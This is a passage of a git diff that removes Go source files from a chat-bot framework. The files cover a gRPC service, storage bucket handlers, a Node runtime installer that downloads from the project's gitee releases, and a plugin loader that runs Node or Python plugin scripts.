||||
if filter != nil {
|
||||
if filter.BlackMode {
|
||||
if utils.Contains(filter.Items, str) {
|
||||
return true
|
||||
}
|
||||
} else {
|
||||
if !utils.Contains(filter.Items, str) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"log"
|
||||
"net"
|
||||
|
||||
"github.com/cdle/sillyplus/proto3/srpc"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
// protoc --go_out=. -I. --go-grpc_out=. bucket.proto
|
||||
func init() {
|
||||
go func() {
|
||||
lis, err := net.Listen("tcp", ":50051")
|
||||
if err != nil {
|
||||
log.Fatalf("failed to listen: %v", err)
|
||||
}
|
||||
s := grpc.NewServer()
|
||||
srpc.RegisterSillyGirlServiceServer(s, &SillyGirlService{})
|
||||
// log.Printf("grpc server listening at %v", lis.Addr())
|
||||
if err := s.Serve(lis); err != nil {
|
||||
log.Fatalf("failed to serve: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
@@ -1,138 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/proto3/srpc"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
)
|
||||
|
||||
func (sg *SillyGirlService) AdapterRegist(stream srpc.SillyGirlService_AdapterRegistServer) error {
|
||||
var adapter *Factory
|
||||
var echos sync.Map
|
||||
// defer func() {
|
||||
// fmt.Println("test defer")
|
||||
// }()
|
||||
for {
|
||||
// fmt.Println("test for")
|
||||
req, err := stream.Recv()
|
||||
// fmt.Println("test fored", err)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if adapter == nil {
|
||||
bot_id := req.GetBotId()
|
||||
platform := req.GetPlatform()
|
||||
adapter = &Factory{}
|
||||
defer adapter.Destroy()
|
||||
adapter.Init(platform, bot_id, nil)
|
||||
adapter.SetReplyHandler(func(m map[string]interface{}) string {
|
||||
m["__type__"] = "reply"
|
||||
echo := utils.GenUUID()
|
||||
ch := make(chan string)
|
||||
echos.Store(echo, ch)
|
||||
defer echos.Delete(echo)
|
||||
m["echo"] = echo
|
||||
stream.Send(&srpc.Default{
|
||||
Value: string(utils.JsonMarshal(m)),
|
||||
})
|
||||
select {
|
||||
case v := <-ch:
|
||||
return v
|
||||
case <-time.After(time.Second * 5):
|
||||
}
|
||||
return ""
|
||||
})
|
||||
adapter.action = func(m map[string]interface{}) string {
|
||||
m["__type__"] = "action"
|
||||
echo := utils.GenUUID()
|
||||
ch := make(chan string)
|
||||
echos.Store(echo, ch)
|
||||
defer echos.Delete(echo)
|
||||
m["echo"] = echo
|
||||
stream.Send(&srpc.Default{
|
||||
Value: string(utils.JsonMarshal(m)),
|
||||
})
|
||||
select {
|
||||
case v := <-ch:
|
||||
return v
|
||||
case <-time.After(time.Second * 5):
|
||||
}
|
||||
return ""
|
||||
}
|
||||
// fmt.Println("test start")
|
||||
} else {
|
||||
echo := req.GetBotId()
|
||||
message_id := req.GetPlatform()
|
||||
v, ok := echos.Load(echo)
|
||||
if ok {
|
||||
select {
|
||||
case v.(chan string) <- message_id:
|
||||
case <-time.After(time.Millisecond):
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) AdapterReceive(ctx context.Context, req *srpc.AdapterRequest) (*srpc.Empty, error) {
|
||||
msgs := map[string]interface{}{}
|
||||
bot_id := req.GetBotId()
|
||||
platform := req.GetPlatform()
|
||||
// fmt.Println("a ...any", bot_id, "=", platform, string(utils.JsonMarshal(msgs)))
|
||||
json.Unmarshal([]byte(req.Value), &msgs)
|
||||
adapter, err := GetAdapter(platform, bot_id)
|
||||
if err == nil {
|
||||
adapter.Receive(msgs)
|
||||
return &srpc.Empty{}, nil
|
||||
}
|
||||
return &srpc.Empty{}, err
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) AdapterPush(ctx context.Context, req *srpc.AdapterRequest) (*srpc.Default, error) {
|
||||
msgs := map[string]string{}
|
||||
bot_id := req.GetBotId()
|
||||
platform := req.GetPlatform()
|
||||
json.Unmarshal([]byte(req.Value), &msgs)
|
||||
adapter, err := GetAdapter(platform, bot_id)
|
||||
if err == nil {
|
||||
result := adapter.Push(msgs)
|
||||
message_id := result["message_id"]
|
||||
errst := result["error"]
|
||||
if errst != "" {
|
||||
return &srpc.Default{Value: ""}, errors.New(errst)
|
||||
}
|
||||
return &srpc.Default{Value: message_id}, nil
|
||||
}
|
||||
return &srpc.Default{Value: ""}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) AdapterSender(ctx context.Context, req *srpc.AdapterRequest) (*srpc.Default, error) {
|
||||
msgs := map[string]string{}
|
||||
bot_id := req.GetBotId()
|
||||
platform := req.GetPlatform()
|
||||
json.Unmarshal([]byte(req.Value), &msgs)
|
||||
adapter, err := GetAdapter(platform, bot_id)
|
||||
if err == nil {
|
||||
_, regist, err := getSenderRegisterByCtx(ctx)
|
||||
if err == nil {
|
||||
s := adapter.Sender2(msgs)
|
||||
return &srpc.Default{Value: regist(s)}, nil
|
||||
}
|
||||
}
|
||||
return &srpc.Default{Value: ""}, err
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) AdapterDestroy(ctx context.Context, req *srpc.AdapterRequest) (*srpc.Empty, error) {
|
||||
bot_id := req.GetBotId()
|
||||
platform := req.GetPlatform()
|
||||
adapter, err := GetAdapter(platform, bot_id)
|
||||
if err == nil {
|
||||
adapter.Destroy()
|
||||
}
|
||||
return &srpc.Empty{}, err
|
||||
}
|
||||
@@ -1,205 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
)
|
||||
|
||||
type Language struct {
|
||||
Name string // node
|
||||
Version string // 20230725
|
||||
Os string // linux
|
||||
Arch string // amd64
|
||||
Links []string // 下载链接
|
||||
}
|
||||
|
||||
var plugin_dir = filepath.Join(utils.ExecPath, "plugins")
|
||||
var release = "20230732"
|
||||
|
||||
var languages = []Language{
|
||||
{
|
||||
Name: "node",
|
||||
Version: release,
|
||||
Os: "linux",
|
||||
Arch: "amd64",
|
||||
Links: []string{"https://gitee.com/sillybot/binary/releases/download/" + release + "/node_linux_amd64.zip"},
|
||||
},
|
||||
{
|
||||
Name: "node",
|
||||
Version: release,
|
||||
Os: "darwin",
|
||||
Arch: "arm64",
|
||||
Links: []string{"https://gitee.com/sillybot/binary/releases/download/" + release + "/node_darwin_arm64.zip"},
|
||||
},
|
||||
{
|
||||
Name: "node",
|
||||
Version: release,
|
||||
Os: "windows",
|
||||
Arch: "amd64",
|
||||
Links: []string{"https://gitee.com/sillybot/binary/releases/download/" + release + "/node_windows_amd64.zip"},
|
||||
},
|
||||
}
|
||||
|
||||
func initLanguage() {
|
||||
// go func() {
|
||||
for _, item := range languages {
|
||||
if !(item.Os == runtime.GOOS && item.Arch == runtime.GOARCH) {
|
||||
continue
|
||||
}
|
||||
node_dir := utils.ExecPath + "/language/" + item.Name
|
||||
os.MkdirAll(node_dir, 0755)
|
||||
path := os.Getenv("PATH")
|
||||
newPath := ""
|
||||
if path != "" {
|
||||
newPath = fmt.Sprintf("%s:%s", node_dir, path)
|
||||
} else {
|
||||
newPath = node_dir
|
||||
}
|
||||
os.Setenv("PATH", newPath)
|
||||
if len(item.Links) == 0 {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(node_dir + "/yarn"); err != nil {
|
||||
resp, err := http.Get("https://gitee.com/sillybot/binary/releases/download/yarn/yarn.zip")
|
||||
if err == nil {
|
||||
go func() {
|
||||
defer resp.Body.Close()
|
||||
zipfile := node_dir + "/yarn.zip"
|
||||
f, err := os.OpenFile(zipfile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
fmt.Println(err, 2)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
_, err = io.Copy(f, resp.Body)
|
||||
if err != nil {
|
||||
fmt.Println(err, 3)
|
||||
return
|
||||
}
|
||||
defer os.Remove(zipfile)
|
||||
err = unzip(zipfile, 0777, false)
|
||||
if err != nil {
|
||||
fmt.Println(err, 4)
|
||||
return
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
func() {
|
||||
dir := utils.ExecPath + "/language/" + item.Name
|
||||
data, _ := os.ReadFile(dir + "/version")
|
||||
if string(data) == item.Version {
|
||||
return
|
||||
}
|
||||
console.Log("正在安装", item.Name, "执行环境....")
|
||||
resp, err := http.Get(item.Links[0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
zipfile := dir + "/" + item.Name + ".zip"
|
||||
f, err := os.OpenFile(zipfile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
_, err = io.Copy(f, resp.Body)
|
||||
if err != nil {
|
||||
// fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer os.Remove(zipfile)
|
||||
if err := unzip(zipfile, 0755, false); err == nil {
|
||||
os.WriteFile(dir+"/version", []byte(item.Version), 0755)
|
||||
} else {
|
||||
// fmt.Println(err)
|
||||
}
|
||||
console.Log("安装", item.Name, "执行环境成功")
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func unzip(filename string, perm fs.FileMode, pkg bool) error {
|
||||
zipFile, err := zip.OpenReader(filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer zipFile.Close()
|
||||
top := ""
|
||||
for i := range zipFile.File {
|
||||
file := zipFile.File[i]
|
||||
if top == "" {
|
||||
top = strings.Split(file.Name, "/")[0]
|
||||
}
|
||||
// 忽略以 "__MACOSX/" 开头的文件
|
||||
if strings.HasPrefix(file.Name, "__MACOSX/") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(filepath.Dir(filename), file.Name)
|
||||
if file.FileInfo().IsDir() {
|
||||
// 如果是目录则创建目录
|
||||
err = os.MkdirAll(path, perm)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
// 创建文件的父目录
|
||||
err = os.MkdirAll(filepath.Dir(path), perm)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var de = func() error {
|
||||
// 创建文件并解压缩数据
|
||||
zipFile, err := file.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer zipFile.Close()
|
||||
|
||||
localFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer localFile.Close()
|
||||
_, err = io.Copy(localFile, zipFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if file.Name != top+"/main.js" {
|
||||
de()
|
||||
} else {
|
||||
if pkg {
|
||||
defer func() { //安装依赖
|
||||
yarn := utils.ExecPath + "/language/node/yarn/bin/yarn"
|
||||
dir := utils.ExecPath + "/plugins/" + top
|
||||
cmd := exec.Command(yarn, "install")
|
||||
cmd.Dir = dir
|
||||
data, err := cmd.Output()
|
||||
if err != nil {
|
||||
console.Error("依赖添加失败:%v %s\n\n你可以尝试自救:\n将 %s 添加到环境变量\n进入插件目录:cd %s\n安装依赖:%s install", err, string(data), utils.ExecPath+"/language/node", dir, yarn)
|
||||
} else {
|
||||
console.Log(string(data))
|
||||
}
|
||||
de()
|
||||
}()
|
||||
} else {
|
||||
de()
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -1,118 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/proto3/srpc"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
)
|
||||
|
||||
type SillyGirlService struct {
|
||||
srpc.UnsafeSillyGirlServiceServer
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) BucketWatch(stream srpc.SillyGirlService_BucketWatchServer) error {
|
||||
var watcher func(old, new, key string) *storage.Final
|
||||
var echos sync.Map
|
||||
defer func() {
|
||||
watcher = nil
|
||||
}()
|
||||
for {
|
||||
req, err := stream.Recv()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if watcher == nil {
|
||||
watcher = func(old, new, key string) *storage.Final {
|
||||
if watcher == nil {
|
||||
return nil
|
||||
}
|
||||
echo := utils.GenUUID()
|
||||
ch := make(chan *storage.Final)
|
||||
echos.Store(echo, ch)
|
||||
defer echos.Delete(echo)
|
||||
stream.Send(&srpc.BucketWatchResponse{
|
||||
Echo: echo,
|
||||
Old: old,
|
||||
Now: new,
|
||||
Key: key,
|
||||
})
|
||||
select {
|
||||
case v := <-ch:
|
||||
return v
|
||||
case <-time.After(time.Second * 5):
|
||||
}
|
||||
return nil
|
||||
}
|
||||
storage.Watch(MakeBucket(req.Name), req.Key, watcher, req.PluginId)
|
||||
} else {
|
||||
echo := req.Echo
|
||||
v, ok := echos.Load(echo)
|
||||
var fn *storage.Final
|
||||
if req.Error != "VOID" {
|
||||
fn = &storage.Final{
|
||||
Now: req.Now,
|
||||
Message: req.Message,
|
||||
}
|
||||
if req.Error != "" {
|
||||
fn.Error = errors.New(req.Error)
|
||||
}
|
||||
}
|
||||
if ok {
|
||||
select {
|
||||
case v.(chan *storage.Final) <- fn:
|
||||
case <-time.After(time.Millisecond):
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Get implements BucketServiceServer.Get.
|
||||
func (sg *SillyGirlService) BucketGet(ctx context.Context, req *srpc.BucketKeyRequest) (*srpc.Default, error) {
|
||||
value := MakeBucket(req.Name).GetString(req.Key)
|
||||
return &srpc.Default{Value: value}, nil
|
||||
}
|
||||
|
||||
// Set implements BucketServiceServer.Set.
|
||||
func (sg *SillyGirlService) BucketSet(ctx context.Context, req *srpc.BucketSetRequest) (*srpc.BucketSetResponse, error) {
|
||||
message, changed, err := MakeBucket(req.Name).Set(req.Key, req.Value)
|
||||
return &srpc.BucketSetResponse{Changed: changed, Message: message}, err
|
||||
}
|
||||
|
||||
// Delete implements BucketServiceServer.Delete.
|
||||
func (sg *SillyGirlService) BucketDelete(ctx context.Context, req *srpc.BucketRequest) (*srpc.Empty, error) {
|
||||
err := MakeBucket(req.Name).Delete()
|
||||
return &srpc.Empty{}, err
|
||||
}
|
||||
|
||||
// Keys implements BucketServiceServer.Keys.
|
||||
func (sg *SillyGirlService) BucketKeys(ctx context.Context, req *srpc.BucketRequest) (*srpc.BucketKeysResponse, error) {
|
||||
keys, err := MakeBucket(req.Name).Keys()
|
||||
return &srpc.BucketKeysResponse{Keys: keys}, err
|
||||
}
|
||||
|
||||
// Len implements BucketServiceServer.Len.
|
||||
func (sg *SillyGirlService) BucketLen(ctx context.Context, req *srpc.BucketRequest) (*srpc.LenResponse, error) {
|
||||
keys, err := MakeBucket(req.Name).Keys()
|
||||
return &srpc.LenResponse{Length: int32(len(keys))}, err
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) BucketGetAll(ctx context.Context, req *srpc.BucketRequest) (*srpc.Default, error) {
|
||||
var values = map[string]string{}
|
||||
MakeBucket(req.Name).Foreach(func(b1, b2 []byte) error {
|
||||
values[string(b1)] = string(b2)
|
||||
return nil
|
||||
})
|
||||
return &srpc.Default{Value: string(utils.JsonMarshal(values))}, nil
|
||||
}
|
||||
|
||||
// Buckets implements BucketServiceServer.Buckets.
|
||||
func (sg *SillyGirlService) BucketBuckets(ctx context.Context, req *srpc.Empty) (*srpc.BucketsResponse, error) {
|
||||
return &srpc.BucketsResponse{Buckets: MakeBucket("app").Buckets()}, nil
|
||||
}
|
||||
@@ -1,527 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/sha1"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/dop251/goja"
|
||||
"github.com/fsnotify/fsnotify"
|
||||
"github.com/google/uuid"
|
||||
cron "github.com/robfig/cron/v3"
|
||||
)
|
||||
|
||||
func init() {
|
||||
go initNodePlugins()
|
||||
}
|
||||
|
||||
var processes sync.Map
|
||||
|
||||
func initNodePlugins() {
|
||||
initLanguage()
|
||||
root := strings.ReplaceAll(utils.ExecPath+"/plugins", "\\", "/")
|
||||
plugins := []string{root}
|
||||
os.Mkdir(root, 0755)
|
||||
// fmt.Println("root", root)
|
||||
files, _ := ioutil.ReadDir(root)
|
||||
for _, file := range files {
|
||||
if !file.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := file.Name()
|
||||
path := root + "/" + name
|
||||
plugins = append(plugins, path)
|
||||
index, class := FindMainIndex(path)
|
||||
|
||||
if index != "" {
|
||||
AddNodePlugin(index, name, class)
|
||||
}
|
||||
}
|
||||
watcher, err := fsnotify.NewWatcher()
|
||||
if err != nil {
|
||||
fmt.Println("创建监视器失败:", err)
|
||||
return
|
||||
}
|
||||
defer watcher.Close()
|
||||
// 要监控的文件夹路径
|
||||
for _, dir := range plugins {
|
||||
err = watcher.Add(dir)
|
||||
if err != nil {
|
||||
fmt.Println("添加监视目录失败:", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case event, ok := <-watcher.Events:
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
// fmt.Println(event.Name, "op", event.Op.String())
|
||||
event.Name = strings.ReplaceAll(event.Name, "\\", "/")
|
||||
files := strings.Split(strings.Replace(event.Name, root+"/", "", 1), "/")
|
||||
var plugin_dir = false
|
||||
var plugin_index = false
|
||||
var plugin_name = ""
|
||||
var class = ""
|
||||
switch len(files) {
|
||||
case 1:
|
||||
plugin_dir = true
|
||||
// fmt.Println("目录事件")
|
||||
plugin_name = files[0]
|
||||
case 2:
|
||||
class, plugin_index = CheckMainIndex(files[1])
|
||||
// if files[1] == "main.js" {
|
||||
// if files[1] == "main.js" {
|
||||
// plugin_index = true
|
||||
// }
|
||||
// // fmt.Println("入口文件事件")
|
||||
// }
|
||||
plugin_name = files[0]
|
||||
}
|
||||
if plugin_name == "." {
|
||||
continue
|
||||
}
|
||||
switch event.Op.String() {
|
||||
case "CREATE":
|
||||
if plugin_dir {
|
||||
info, err := os.Stat(event.Name)
|
||||
// fmt.Println(err)
|
||||
if err == nil && info.IsDir() {
|
||||
index, class := FindMainIndex(event.Name)
|
||||
switch class {
|
||||
case NODE:
|
||||
AddNodePlugin(index, plugin_name, class)
|
||||
case PYTHON:
|
||||
case "":
|
||||
// time.Sleep(time.Millisecond * 100) //如果没有
|
||||
// if info, err := os.Stat(event.Name + "/demo.main.js"); err == nil && !info.IsDir() {
|
||||
|
||||
// }
|
||||
}
|
||||
// event_name := event.Name + "/main.js"
|
||||
// if info, err := os.Stat(event_name); err == nil && !info.IsDir() {
|
||||
// AddNodePlugin(event_name, plugin_name)
|
||||
// } else {
|
||||
// time.Sleep(time.Millisecond * 100)
|
||||
// if info, err := os.Stat(event_name); err == nil && !info.IsDir() {
|
||||
// AddNodePlugin(event_name, plugin_name)
|
||||
// }
|
||||
// }
|
||||
watcher.Add(event.Name)
|
||||
// fmt.Println("增加插件目录", event.Name)
|
||||
} else {
|
||||
// fmt.Println("非插件目录", event.Name)
|
||||
}
|
||||
tf := event.Name + "/node_modules/sillygirl.d.ts"
|
||||
ti := event.Name + "/demo.main.js"
|
||||
if _, err := os.Stat(tf); err != nil {
|
||||
os.Mkdir(event.Name+"/node_modules", 0700)
|
||||
os.WriteFile(tf, []byte(typeat), 0700)
|
||||
}
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
if _, err := os.Stat(ti); err != nil {
|
||||
os.Mkdir(event.Name+"/node_modules", 0700)
|
||||
os.WriteFile(ti, []byte(defaultScript(plugin_name)), 0700)
|
||||
}
|
||||
}()
|
||||
} else if plugin_index {
|
||||
// fmt.Println("增加插件", event.Name)
|
||||
// RemNodePlugin(plugin_name)
|
||||
AddNodePlugin(event.Name, plugin_name, class)
|
||||
}
|
||||
case "REMOVE", "RENAME", "REMOVE|RENAME", "REMOVE|WRITE":
|
||||
if plugin_dir {
|
||||
watcher.Remove(event.Name)
|
||||
// fmt.Println("移除插件目录", event.Name)
|
||||
// fmt.Println("移除插件", plugin_name)
|
||||
AddNodePlugin(event.Name, plugin_name, UNKNOWN)
|
||||
} else if plugin_index {
|
||||
// fmt.Println("移除插件", plugin_name)
|
||||
AddNodePlugin(event.Name, plugin_name, class)
|
||||
}
|
||||
case "WRITE": //, "CHMOD"
|
||||
if plugin_index {
|
||||
AddNodePlugin(event.Name, plugin_name, class)
|
||||
// fmt.Println("变更插件", event.Name, plugin_name)
|
||||
}
|
||||
}
|
||||
case err, ok := <-watcher.Errors:
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
fmt.Println("错误:", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func nameUuid(name string) string {
|
||||
hash := sha1.Sum([]byte(name))
|
||||
return strings.ReplaceAll(uuid.NewSHA1(uuid.Nil, hash[:]).String(), "-", "_")
|
||||
}
|
||||
|
||||
func isNameUuid(uuid string) bool {
|
||||
return strings.Contains(uuid, "_")
|
||||
}
|
||||
|
||||
func AddNodePlugin(path, name, class string) error {
|
||||
|
||||
if name == "" {
|
||||
return nil
|
||||
}
|
||||
uuid := nameUuid(name)
|
||||
pluginLock.Lock()
|
||||
defer pluginLock.Unlock()
|
||||
//移除
|
||||
var rf *common.Function
|
||||
for i := range Functions {
|
||||
if Functions[i].UUID == uuid {
|
||||
rf = Functions[i]
|
||||
DestroyAdapterByUUID(uuid)
|
||||
Functions[i].Running = false
|
||||
if len(Functions[i].CronIds) != 0 {
|
||||
for _, id := range Functions[i].CronIds {
|
||||
CRON.Remove(cron.EntryID(id))
|
||||
}
|
||||
}
|
||||
Functions = append(Functions[:i], Functions[i+1:]...)
|
||||
CancelPluginCrons(uuid)
|
||||
CancelPluginWebs(uuid)
|
||||
CancelPluginlistening(uuid)
|
||||
CancelHttpListen(uuid)
|
||||
remStatic(uuid)
|
||||
storage.DisableHandle(uuid)
|
||||
break
|
||||
}
|
||||
}
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
if rf != nil {
|
||||
console.Log("已卸载 %s%s", rf.Title, rf.Suffix)
|
||||
}
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
data, err := ioutil.ReadAll(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
script := string(data)
|
||||
if script == "" {
|
||||
return nil
|
||||
}
|
||||
// plugins_id.Store(uuid, path)
|
||||
// fmt.Println("add,", uuid, name)
|
||||
f, cbs := pluginParse(script, uuid)
|
||||
f.Reload = func() { //重载
|
||||
AddNodePlugin(path, name, class)
|
||||
}
|
||||
|
||||
f.Type = class
|
||||
switch f.Type {
|
||||
case NODE:
|
||||
f.Suffix = ".js"
|
||||
case PYTHON:
|
||||
f.Suffix = ".py"
|
||||
}
|
||||
f.Path = path
|
||||
f.Handle = func(s common.Sender, _ func(vm *goja.Runtime)) interface{} {
|
||||
console := &Console{UUID: uuid}
|
||||
s.SetPluginID(uuid)
|
||||
plt := s.GetImType()
|
||||
bin := ""
|
||||
var cmd *exec.Cmd
|
||||
switch class {
|
||||
case NODE:
|
||||
bin = utils.ExecPath + "/language/node/node"
|
||||
cmd = exec.Command(bin, path)
|
||||
case PYTHON:
|
||||
bin = "python3"
|
||||
cmd = exec.Command(bin, "-u", path)
|
||||
cmd.Env = append(cmd.Env, "PYTHONPATH=/Users/a1-6/Code/sillyplus/proto3")
|
||||
}
|
||||
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
RUNTIME_ID := utils.GenUUID()
|
||||
cmd.Env = append(cmd.Env, "RUNTIME_ID="+RUNTIME_ID)
|
||||
cmd.Env = append(cmd.Env, "PLUGIN_ID="+uuid)
|
||||
// 获取标准输出和标准错误输出的管道
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
// fmt.Printf("获取标准输出管道失败:%v\n", err)
|
||||
// os.Exit(1)
|
||||
}
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
// fmt.Printf("获取标准错误输出管道失败:%v\n", err)
|
||||
// os.Exit(1)
|
||||
}
|
||||
|
||||
// file, err := os.Create("output.log")
|
||||
// if err != nil {
|
||||
// fmt.Printf("创建文件失败:%v\n", err)
|
||||
// os.Exit(1)
|
||||
// }
|
||||
// defer file.Close()
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(2)
|
||||
// 处理标准输出
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
|
||||
scanner := bufio.NewScanner(stdout)
|
||||
for scanner.Scan() {
|
||||
data := scanner.Text()
|
||||
fmt.Println(data)
|
||||
|
||||
// if _, err := file.WriteString(data + "\n"); err != nil {
|
||||
// fmt.Printf("写入文件失败:%v\n", err)
|
||||
// }
|
||||
}
|
||||
}()
|
||||
// 处理标准错误输出
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
scanner := bufio.NewScanner(stderr)
|
||||
if f.OnStart {
|
||||
for scanner.Scan() {
|
||||
fmt.Println(scanner.Text())
|
||||
}
|
||||
} else {
|
||||
lines := []string{}
|
||||
for scanner.Scan() {
|
||||
data := scanner.Text()
|
||||
lines = append(lines, data)
|
||||
}
|
||||
if len(lines) != 0 {
|
||||
console.Error(strings.Join(lines, "\n"))
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
processes.Store(cmd, s)
|
||||
register := createSenderRegister(RUNTIME_ID)
|
||||
if (plt) != "*" {
|
||||
cmd.Env = append(cmd.Env, "SENDER_ID="+register(s))
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
}
|
||||
defer deleteSenderRegister(RUNTIME_ID)
|
||||
defer processes.Delete(cmd)
|
||||
err = cmd.Wait()
|
||||
if err != nil {
|
||||
fmt.Println("命令执行失败:", err)
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
}
|
||||
processes.Range(func(key, value any) bool {
|
||||
p := key.(*exec.Cmd)
|
||||
if p == cmd {
|
||||
return true
|
||||
}
|
||||
s := value.(common.Sender)
|
||||
if s.GetPluginID() == uuid {
|
||||
func() {
|
||||
defer func() {
|
||||
recover()
|
||||
}()
|
||||
if p.Process.Kill() == nil {
|
||||
processes.Delete(key)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
go func() {
|
||||
defer deleteSenderRegister(RUNTIME_ID)
|
||||
defer processes.Delete(cmd)
|
||||
err = cmd.Wait()
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
for _, cb := range cbs {
|
||||
cb()
|
||||
}
|
||||
if !f.Disable { //!f.OnStart &&
|
||||
if rf == nil {
|
||||
// console.Log("已加载 %s%s", f.Title, f.Suffix)
|
||||
} else {
|
||||
console.Log("已重载 %s%s", f.Title, f.Suffix)
|
||||
}
|
||||
}
|
||||
AddCommand([]*common.Function{f})
|
||||
return nil
|
||||
}
|
||||
|
||||
var typeat = `declare class Sender {
|
||||
private uuid;
|
||||
private destoried;
|
||||
constructor(uuid: string);
|
||||
destroy(): void;
|
||||
getUserId(): Promise<string>;
|
||||
getUserName(): Promise<string>;
|
||||
getChatId(): Promise<string>;
|
||||
getChatName(): Promise<string>;
|
||||
getMessageId(): Promise<string>;
|
||||
getPlatform(): Promise<string>;
|
||||
getBotId(): Promise<string>;
|
||||
getContent(): Promise<string>;
|
||||
isAdmin(): Promise<boolean>;
|
||||
param(key: number | string): Promise<string>;
|
||||
setContent(content: string): Promise<undefined>;
|
||||
continue(): Promise<undefined>;
|
||||
getAdapter(): Promise<Adapter>;
|
||||
listen(options?: {
|
||||
rules?: string[];
|
||||
timeout?: number;
|
||||
handle?: (s: Sender) => Promise<string | void> | string | void;
|
||||
listen_private?: boolean;
|
||||
listen_group?: boolean;
|
||||
allow_platforms?: string[];
|
||||
prohibit_platforms?: string[];
|
||||
allow_groups?: string[];
|
||||
prohibit_groups?: string[];
|
||||
allow_users?: string[];
|
||||
prohibit_users?: string[];
|
||||
}): Promise<Sender | undefined>;
|
||||
holdOn(str: string): string;
|
||||
reply(content: string): Promise<string>;
|
||||
doAction(options: Record<string, any>): Promise<any>;
|
||||
getEvent(): Promise<Record<string, any>>;
|
||||
}
|
||||
declare class Bucket {
|
||||
private name;
|
||||
constructor(name: string);
|
||||
transform(v: string | undefined): string | number | boolean | undefined;
|
||||
reverseTransform(value: any): string;
|
||||
get(key: string, defaultValue?: any): Promise<any>;
|
||||
set(key: string, value: any): Promise<{
|
||||
message?: string;
|
||||
changed?: boolean;
|
||||
}>;
|
||||
getAll(): Promise<Record<string, any>>;
|
||||
delete(key: string): Promise<{
|
||||
message?: string;
|
||||
changed?: boolean;
|
||||
}>;
|
||||
deleteAll(): Promise<undefined>;
|
||||
